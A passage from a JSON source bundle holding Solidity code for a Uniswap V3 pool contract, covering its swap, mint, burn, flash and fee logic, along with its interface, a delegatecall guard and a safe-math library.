immutable override token1;\n /// @inheritdoc IUniswapV3PoolImmutables\n uint24 public immutable override fee;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n int24 public immutable override tickSpacing;\n\n /// @inheritdoc IUniswapV3PoolImmutables\n uint128 public immutable override maxLiquidityPerTick;\n\n struct Slot0 {\n // the current price\n uint160 sqrtPriceX96;\n // the current tick\n int24 tick;\n // the most-recently updated index of the observations array\n uint16 observationIndex;\n // the current maximum number of observations that are being stored\n uint16 observationCardinality;\n // the next maximum number of observations to store, triggered in observations.write\n uint16 observationCardinalityNext;\n // the current protocol fee as a percentage of the swap fee taken on withdrawal\n // represented as an integer denominator (1/x)%\n uint8 feeProtocol;\n // whether the pool is locked\n bool unlocked;\n }\n /// @inheritdoc IUniswapV3PoolState\n Slot0 public override slot0;\n\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal0X128;\n /// @inheritdoc IUniswapV3PoolState\n uint256 public override feeGrowthGlobal1X128;\n\n // accumulated protocol fees in token0/token1 units\n struct ProtocolFees {\n uint128 token0;\n uint128 token1;\n }\n /// @inheritdoc IUniswapV3PoolState\n ProtocolFees public override protocolFees;\n\n /// @inheritdoc IUniswapV3PoolState\n uint128 public override liquidity;\n\n /// @inheritdoc IUniswapV3PoolState\n mapping(int24 => Tick.Info) public override ticks;\n /// @inheritdoc IUniswapV3PoolState\n mapping(int16 => uint256) public override tickBitmap;\n /// @inheritdoc IUniswapV3PoolState\n mapping(bytes32 => Position.Info) public override positions;\n /// @inheritdoc IUniswapV3PoolState\n Oracle.Observation[65535] public override observations;\n\n /// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance\n /// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because\n /// we use balance checks to determine the payment status of interactions such as mint, swap and flash.\n modifier lock() {\n require(slot0.unlocked, 'LOK');\n slot0.unlocked = false;\n _;\n slot0.unlocked = true;\n }\n\n /// @dev Prevents calling a function from anyone except the address returned by IUniswapV3Factory#owner()\n modifier onlyFactoryOwner() {\n require(msg.sender == IUniswapV3Factory(factory).owner());\n _;\n }\n\n constructor() {\n int24 _tickSpacing;\n (factory, token0, token1, fee, _tickSpacing) = IUniswapV3PoolDeployer(msg.sender).parameters();\n tickSpacing = _tickSpacing;\n\n maxLiquidityPerTick = Tick.tickSpacingToMaxLiquidityPerTick(_tickSpacing);\n }\n\n /// @dev Common checks for valid tick inputs.\n function checkTicks(int24 tickLower, int24 tickUpper) private pure {\n require(tickLower < tickUpper, 'TLU');\n require(tickLower >= TickMath.MIN_TICK, 'TLM');\n require(tickUpper <= TickMath.MAX_TICK, 'TUM');\n }\n\n /// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.\n function _blockTimestamp() internal view virtual returns (uint32) {\n return uint32(block.timestamp); // truncation is desired\n }\n\n /// @dev Get the pool's balance of token0\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance0() private view returns (uint256) {\n (bool success, bytes memory data) =\n token0.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @dev Get the pool's balance of token1\n /// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize\n /// check\n function balance1() private view returns (uint256) {\n (bool success, bytes memory data) =\n token1.staticcall(abi.encodeWithSelector(IERC20Minimal.balanceOf.selector, address(this)));\n require(success && data.length >= 32);\n return abi.decode(data, (uint256));\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)\n external\n view\n override\n noDelegateCall\n returns (\n int56 tickCumulativeInside,\n uint160 secondsPerLiquidityInsideX128,\n uint32 secondsInside\n )\n {\n checkTicks(tickLower, tickUpper);\n\n int56 tickCumulativeLower;\n int56 tickCumulativeUpper;\n uint160 secondsPerLiquidityOutsideLowerX128;\n uint160 secondsPerLiquidityOutsideUpperX128;\n uint32 secondsOutsideLower;\n uint32 secondsOutsideUpper;\n\n {\n Tick.Info storage lower = ticks[tickLower];\n Tick.Info storage upper = ticks[tickUpper];\n bool initializedLower;\n (tickCumulativeLower, secondsPerLiquidityOutsideLowerX128, secondsOutsideLower, initializedLower) = (\n lower.tickCumulativeOutside,\n lower.secondsPerLiquidityOutsideX128,\n lower.secondsOutside,\n lower.initialized\n );\n require(initializedLower);\n\n bool initializedUpper;\n (tickCumulativeUpper, secondsPerLiquidityOutsideUpperX128, secondsOutsideUpper, initializedUpper) = (\n upper.tickCumulativeOutside,\n upper.secondsPerLiquidityOutsideX128,\n upper.secondsOutside,\n upper.initialized\n );\n require(initializedUpper);\n }\n\n Slot0 memory _slot0 = slot0;\n\n if (_slot0.tick < tickLower) {\n return (\n tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityOutsideLowerX128 - secondsPerLiquidityOutsideUpperX128,\n secondsOutsideLower - secondsOutsideUpper\n );\n } else if (_slot0.tick < tickUpper) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n _slot0.tick,\n _slot0.observationIndex,\n liquidity,\n _slot0.observationCardinality\n );\n return (\n tickCumulative - tickCumulativeLower - tickCumulativeUpper,\n secondsPerLiquidityCumulativeX128 -\n secondsPerLiquidityOutsideLowerX128 -\n secondsPerLiquidityOutsideUpperX128,\n time - secondsOutsideLower - secondsOutsideUpper\n );\n } else {\n return (\n tickCumulativeUpper - tickCumulativeLower,\n secondsPerLiquidityOutsideUpperX128 - secondsPerLiquidityOutsideLowerX128,\n secondsOutsideUpper - secondsOutsideLower\n );\n }\n }\n\n /// @inheritdoc IUniswapV3PoolDerivedState\n function observe(uint32[] calldata secondsAgos)\n external\n view\n override\n noDelegateCall\n returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)\n {\n return\n observations.observe(\n _blockTimestamp(),\n secondsAgos,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function increaseObservationCardinalityNext(uint16 observationCardinalityNext)\n external\n override\n lock\n noDelegateCall\n {\n uint16 observationCardinalityNextOld = slot0.observationCardinalityNext; // for the event\n uint16 observationCardinalityNextNew =\n observations.grow(observationCardinalityNextOld, observationCardinalityNext);\n slot0.observationCardinalityNext = observationCardinalityNextNew;\n if (observationCardinalityNextOld != observationCardinalityNextNew)\n emit IncreaseObservationCardinalityNext(observationCardinalityNextOld, observationCardinalityNextNew);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev not locked because it initializes unlocked\n function initialize(uint160 sqrtPriceX96) external override {\n require(slot0.sqrtPriceX96 == 0, 'AI');\n\n int24 tick = TickMath.getTickAtSqrtRatio(sqrtPriceX96);\n\n (uint16 cardinality, uint16 cardinalityNext) = observations.initialize(_blockTimestamp());\n\n slot0 = Slot0({\n sqrtPriceX96: sqrtPriceX96,\n tick: tick,\n observationIndex: 0,\n observationCardinality: cardinality,\n observationCardinalityNext: cardinalityNext,\n feeProtocol: 0,\n unlocked: true\n });\n\n emit Initialize(sqrtPriceX96, tick);\n }\n\n struct ModifyPositionParams {\n // the address that owns the position\n address owner;\n // the lower and upper tick of the position\n int24 tickLower;\n int24 tickUpper;\n // any change in liquidity\n int128 liquidityDelta;\n }\n\n /// @dev Effect some changes to a position\n /// @param params the position details and the change to the position's liquidity to effect\n /// @return position a storage pointer referencing the position with the given owner and tick range\n /// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient\n /// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient\n function _modifyPosition(ModifyPositionParams memory params)\n private\n noDelegateCall\n returns (\n Position.Info storage position,\n int256 amount0,\n int256 amount1\n )\n {\n checkTicks(params.tickLower, params.tickUpper);\n\n Slot0 memory _slot0 = slot0; // SLOAD for gas optimization\n\n position = _updatePosition(\n params.owner,\n params.tickLower,\n params.tickUpper,\n params.liquidityDelta,\n _slot0.tick\n );\n\n if (params.liquidityDelta != 0) {\n if (_slot0.tick < params.tickLower) {\n // current tick is below the passed range; liquidity can only become in range by crossing from left to\n // right, when we'll need _more_ token0 (it's becoming more valuable) so user must provide it\n amount0 = SqrtPriceMath.getAmount0Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n } else if (_slot0.tick < params.tickUpper) {\n // current tick is inside the passed range\n uint128 liquidityBefore = liquidity; // SLOAD for gas optimization\n\n // write an oracle entry\n (slot0.observationIndex, slot0.observationCardinality) = observations.write(\n _slot0.observationIndex,\n _blockTimestamp(),\n _slot0.tick,\n liquidityBefore,\n _slot0.observationCardinality,\n _slot0.observationCardinalityNext\n );\n\n amount0 = SqrtPriceMath.getAmount0Delta(\n _slot0.sqrtPriceX96,\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n _slot0.sqrtPriceX96,\n params.liquidityDelta\n );\n\n liquidity = LiquidityMath.addDelta(liquidityBefore, params.liquidityDelta);\n } else {\n // current tick is above the passed range; liquidity can only become in range by crossing from right to\n // left, when we'll need _more_ token1 (it's becoming more valuable) so user must provide it\n amount1 = SqrtPriceMath.getAmount1Delta(\n TickMath.getSqrtRatioAtTick(params.tickLower),\n TickMath.getSqrtRatioAtTick(params.tickUpper),\n params.liquidityDelta\n );\n }\n }\n }\n\n /// @dev Gets and updates a position with the given liquidity delta\n /// @param owner the owner of the position\n /// @param tickLower the lower tick of the position's tick range\n /// @param tickUpper the upper tick of the position's tick range\n /// @param tick the current tick, passed to avoid sloads\n function _updatePosition(\n address owner,\n int24 tickLower,\n int24 tickUpper,\n int128 liquidityDelta,\n int24 tick\n ) private returns (Position.Info storage position) {\n position = positions.get(owner, tickLower, tickUpper);\n\n uint256 _feeGrowthGlobal0X128 = feeGrowthGlobal0X128; // SLOAD for gas optimization\n uint256 _feeGrowthGlobal1X128 = feeGrowthGlobal1X128; // SLOAD for gas optimization\n\n // if we need to update the ticks, do it\n bool flippedLower;\n bool flippedUpper;\n if (liquidityDelta != 0) {\n uint32 time = _blockTimestamp();\n (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) =\n observations.observeSingle(\n time,\n 0,\n slot0.tick,\n slot0.observationIndex,\n liquidity,\n slot0.observationCardinality\n );\n\n flippedLower = ticks.update(\n tickLower,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n false,\n maxLiquidityPerTick\n );\n flippedUpper = ticks.update(\n tickUpper,\n tick,\n liquidityDelta,\n _feeGrowthGlobal0X128,\n _feeGrowthGlobal1X128,\n secondsPerLiquidityCumulativeX128,\n tickCumulative,\n time,\n true,\n maxLiquidityPerTick\n );\n\n if (flippedLower) {\n tickBitmap.flipTick(tickLower, tickSpacing);\n }\n if (flippedUpper) {\n tickBitmap.flipTick(tickUpper, tickSpacing);\n }\n }\n\n (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) =\n ticks.getFeeGrowthInside(tickLower, tickUpper, tick, _feeGrowthGlobal0X128, _feeGrowthGlobal1X128);\n\n position.update(liquidityDelta, feeGrowthInside0X128, feeGrowthInside1X128);\n\n // clear any tick data that is no longer needed\n if (liquidityDelta < 0) {\n if (flippedLower) {\n ticks.clear(tickLower);\n }\n if (flippedUpper) {\n ticks.clear(tickUpper);\n }\n }\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n require(amount > 0);\n (, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: recipient,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(amount0Int);\n amount1 = uint256(amount1Int);\n\n uint256 balance0Before;\n uint256 balance1Before;\n if (amount0 > 0) balance0Before = balance0();\n if (amount1 > 0) balance1Before = balance1();\n IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);\n if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');\n if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');\n\n emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock returns (uint128 amount0, uint128 amount1) {\n // we don't need to checkTicks here, because invalid positions will never have non-zero tokensOwed{0,1}\n Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper);\n\n amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested;\n amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested;\n\n if (amount0 > 0) {\n position.tokensOwed0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n position.tokensOwed1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit Collect(msg.sender, recipient, tickLower, tickUpper, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n (Position.Info storage position, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: msg.sender,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: -int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(-amount0Int);\n amount1 = uint256(-amount1Int);\n\n if (amount0 > 0 || amount1 > 0) {\n (position.tokensOwed0, position.tokensOwed1) = (\n position.tokensOwed0 + uint128(amount0),\n position.tokensOwed1 + uint128(amount1)\n );\n }\n\n emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n struct SwapCache {\n // the protocol fee for the input token\n uint8 feeProtocol;\n // liquidity at the beginning of the swap\n uint128 liquidityStart;\n // the timestamp of the current block\n uint32 blockTimestamp;\n // the current value of the tick accumulator, computed only if we cross an initialized tick\n int56 tickCumulative;\n // the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick\n uint160 secondsPerLiquidityCumulativeX128;\n // whether we've computed and cached the above two accumulators\n bool computedLatestObservation;\n }\n\n // the top level state of the swap, the results of which are recorded in storage at the end\n struct SwapState {\n // the amount remaining to be swapped in/out of the input/output asset\n int256 amountSpecifiedRemaining;\n // the amount already swapped out/in of the output/input asset\n int256 amountCalculated;\n // current sqrt(price)\n uint160 sqrtPriceX96;\n // the tick associated with the current price\n int24 tick;\n // the global fee growth of the input token\n uint256 feeGrowthGlobalX128;\n // amount of input token paid as protocol fee\n uint128 protocolFee;\n // the current liquidity in range\n uint128 liquidity;\n }\n\n struct StepComputations {\n // the price at the beginning of the step\n uint160 sqrtPriceStartX96;\n // the next tick to swap to from the current tick in the swap direction\n int24 tickNext;\n // whether tickNext is initialized or not\n bool initialized;\n // sqrt(price) for the next tick (1/0)\n uint160 sqrtPriceNextX96;\n // how much is being swapped in in this step\n uint256 amountIn;\n // how much is being swapped out\n uint256 amountOut;\n // how much fee is being paid in\n uint256 feeAmount;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external override noDelegateCall returns (int256 amount0, int256 amount1) {\n require(amountSpecified != 0, 'AS');\n\n Slot0 memory slot0Start = slot0;\n\n require(slot0Start.unlocked, 'LOK');\n require(\n zeroForOne\n ? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO\n : sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,\n 'SPL'\n );\n\n slot0.unlocked = false;\n\n SwapCache memory cache =\n SwapCache({\n liquidityStart: liquidity,\n blockTimestamp: _blockTimestamp(),\n feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),\n secondsPerLiquidityCumulativeX128: 0,\n tickCumulative: 0,\n computedLatestObservation: false\n });\n\n bool exactInput = amountSpecified > 0;\n\n SwapState memory state =\n SwapState({\n amountSpecifiedRemaining: amountSpecified,\n amountCalculated: 0,\n sqrtPriceX96: slot0Start.sqrtPriceX96,\n tick: slot0Start.tick,\n feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,\n protocolFee: 0,\n liquidity: cache.liquidityStart\n });\n\n // continue swapping as long as we haven't used the entire input/output and haven't reached the price limit\n while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {\n StepComputations memory step;\n\n step.sqrtPriceStartX96 = state.sqrtPriceX96;\n\n (step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(\n state.tick,\n tickSpacing,\n zeroForOne\n );\n\n // ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds\n if (step.tickNext < TickMath.MIN_TICK) {\n step.tickNext = TickMath.MIN_TICK;\n } else if (step.tickNext > TickMath.MAX_TICK) {\n step.tickNext = TickMath.MAX_TICK;\n }\n\n // get the price for the next tick\n step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);\n\n // compute values to swap to the target tick, price limit, or point where input/output amount is exhausted\n (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(\n state.sqrtPriceX96,\n (zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)\n ? sqrtPriceLimitX96\n : step.sqrtPriceNextX96,\n state.liquidity,\n state.amountSpecifiedRemaining,\n fee\n );\n\n if (exactInput) {\n state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();\n state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());\n } else {\n state.amountSpecifiedRemaining += step.amountOut.toInt256();\n state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());\n }\n\n // if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee\n if (cache.feeProtocol > 0) {\n uint256 delta = step.feeAmount / cache.feeProtocol;\n step.feeAmount -= delta;\n state.protocolFee += uint128(delta);\n }\n\n // update global fee tracker\n if (state.liquidity > 0)\n state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);\n\n // shift tick if we reached the next price\n if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {\n // if the tick is initialized, run the tick transition\n if (step.initialized) {\n // check for the placeholder value, which we replace with the actual value the first time the swap\n // crosses an initialized tick\n if (!cache.computedLatestObservation) {\n (cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(\n cache.blockTimestamp,\n 0,\n slot0Start.tick,\n slot0Start.observationIndex,\n cache.liquidityStart,\n slot0Start.observationCardinality\n );\n cache.computedLatestObservation = true;\n }\n int128 liquidityNet =\n ticks.cross(\n step.tickNext,\n (zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),\n (zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),\n cache.secondsPerLiquidityCumulativeX128,\n cache.tickCumulative,\n cache.blockTimestamp\n );\n // if we're moving leftward, we interpret liquidityNet as the opposite sign\n // safe because liquidityNet cannot be type(int128).min\n if (zeroForOne) liquidityNet = -liquidityNet;\n\n state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);\n }\n\n state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;\n } else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {\n // recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved\n state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);\n }\n }\n\n // update tick and write an oracle entry if the tick change\n if (state.tick != slot0Start.tick) {\n (uint16 observationIndex, uint16 observationCardinality) =\n observations.write(\n slot0Start.observationIndex,\n cache.blockTimestamp,\n slot0Start.tick,\n cache.liquidityStart,\n slot0Start.observationCardinality,\n slot0Start.observationCardinalityNext\n );\n (slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (\n state.sqrtPriceX96,\n state.tick,\n observationIndex,\n observationCardinality\n );\n } else {\n // otherwise just update the price\n slot0.sqrtPriceX96 = state.sqrtPriceX96;\n }\n\n // update liquidity if it changed\n if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;\n\n // update fee growth global and, if necessary, protocol fees\n // overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees\n if (zeroForOne) {\n feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;\n } else {\n feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;\n }\n\n (amount0, amount1) = zeroForOne == exactInput\n ? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)\n : (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);\n\n // do the transfers and collect payment\n if (zeroForOne) {\n if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));\n\n uint256 balance0Before = balance0();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');\n } else {\n if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));\n\n uint256 balance1Before = balance1();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');\n }\n\n emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);\n slot0.unlocked = true;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external override lock noDelegateCall {\n uint128 _liquidity = liquidity;\n require(_liquidity > 0, 'L');\n\n uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);\n uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);\n uint256 balance0Before = balance0();\n uint256 balance1Before = balance1();\n\n if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);\n if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);\n\n IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data);\n\n uint256 balance0After = balance0();\n uint256 balance1After = balance1();\n\n require(balance0Before.add(fee0) <= balance0After, 'F0');\n require(balance1Before.add(fee1) <= balance1After, 'F1');\n\n // sub is safe because we know balanceAfter is gt balanceBefore by at least fee\n uint256 paid0 = balance0After - balance0Before;\n uint256 paid1 = balance1After - balance1Before;\n\n if (paid0 > 0) {\n uint8 feeProtocol0 = slot0.feeProtocol % 16;\n uint256 fees0 = feeProtocol0 == 0 ? 0 : paid0 / feeProtocol0;\n if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);\n feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);\n }\n if (paid1 > 0) {\n uint8 feeProtocol1 = slot0.feeProtocol >> 4;\n uint256 fees1 = feeProtocol1 == 0 ? 0 : paid1 / feeProtocol1;\n if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);\n feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);\n }\n\n emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {\n require(\n (feeProtocol0 == 0 || (feeProtocol0 >= 4 && feeProtocol0 <= 10)) &&\n (feeProtocol1 == 0 || (feeProtocol1 >= 4 && feeProtocol1 <= 10))\n );\n uint8 feeProtocolOld = slot0.feeProtocol;\n slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 4);\n emit SetFeeProtocol(feeProtocolOld % 16, feeProtocolOld >> 4, feeProtocol0, feeProtocol1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {\n amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;\n amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;\n\n if (amount0 > 0) {\n if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit CollectProtocol(msg.sender, recipient, amount0, amount1);\n }\n}\n"
},
"contracts/interfaces/IUniswapV3Pool.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\nimport './pool/IUniswapV3PoolImmutables.sol';\nimport './pool/IUniswapV3PoolState.sol';\nimport './pool/IUniswapV3PoolDerivedState.sol';\nimport './pool/IUniswapV3PoolActions.sol';\nimport './pool/IUniswapV3PoolOwnerActions.sol';\nimport './pool/IUniswapV3PoolEvents.sol';\n\n/// @title The interface for a Uniswap V3 Pool\n/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform\n/// to the ERC20 specification\n/// @dev The pool interface is broken up into many smaller pieces\ninterface IUniswapV3Pool is\n IUniswapV3PoolImmutables,\n IUniswapV3PoolState,\n IUniswapV3PoolDerivedState,\n IUniswapV3PoolActions,\n IUniswapV3PoolOwnerActions,\n IUniswapV3PoolEvents\n{\n\n}\n"
},
"contracts/NoDelegateCall.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\n/// @title Prevents delegatecall to a contract\n/// @notice Base contract that provides a modifier for preventing delegatecall to methods in a child contract\nabstract contract NoDelegateCall {\n /// @dev The original address of this contract\n address private immutable original;\n\n constructor() {\n // Immutables are computed in the init code of the contract, and then inlined into the deployed bytecode.\n // In other words, this variable won't change when it's checked at runtime.\n original = address(this);\n }\n\n /// @dev Private method is used instead of inlining into modifier because modifiers are copied into each method,\n /// and the use of immutable means the address bytes are copied in every place the modifier is used.\n function checkNotDelegateCall() private view {\n require(address(this) == original);\n }\n\n /// @notice Prevents delegatecall into the modified method\n modifier noDelegateCall() {\n checkNotDelegateCall();\n _;\n }\n}\n"
},
"contracts/libraries/LowGasSafeMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.7.0;\n\n/// @title Optimized overflow and underflow safe math operations\n/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost\nlibrary LowGasSafeMath {\n /// @notice Returns x + y, reverts if sum overflows uint256\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x);\n }\n\n /// @notice Returns x - y, reverts if underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x);\n }\n\n /// @notice Returns x * y, reverts if overflows\n /// @param x The multiplicand\n /// @param y The multiplier\n /// @return z The product of x and y\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(x == 0 || (z = x * y) / x == y);\n }\n\n /// @notice Returns x + y, reverts if overflows or underflows\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x + y) >= x == (y >= 0));\n }\n\n /// @notice Returns x - y, reverts if overflows or underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x - y) <= x == (y >= 0));\n }\n}\n"
},
"contracts/libraries/SafeCast.sol": {
